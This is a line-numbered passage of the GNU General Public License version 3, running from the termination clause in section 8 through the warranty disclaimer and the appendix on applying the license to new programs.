419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------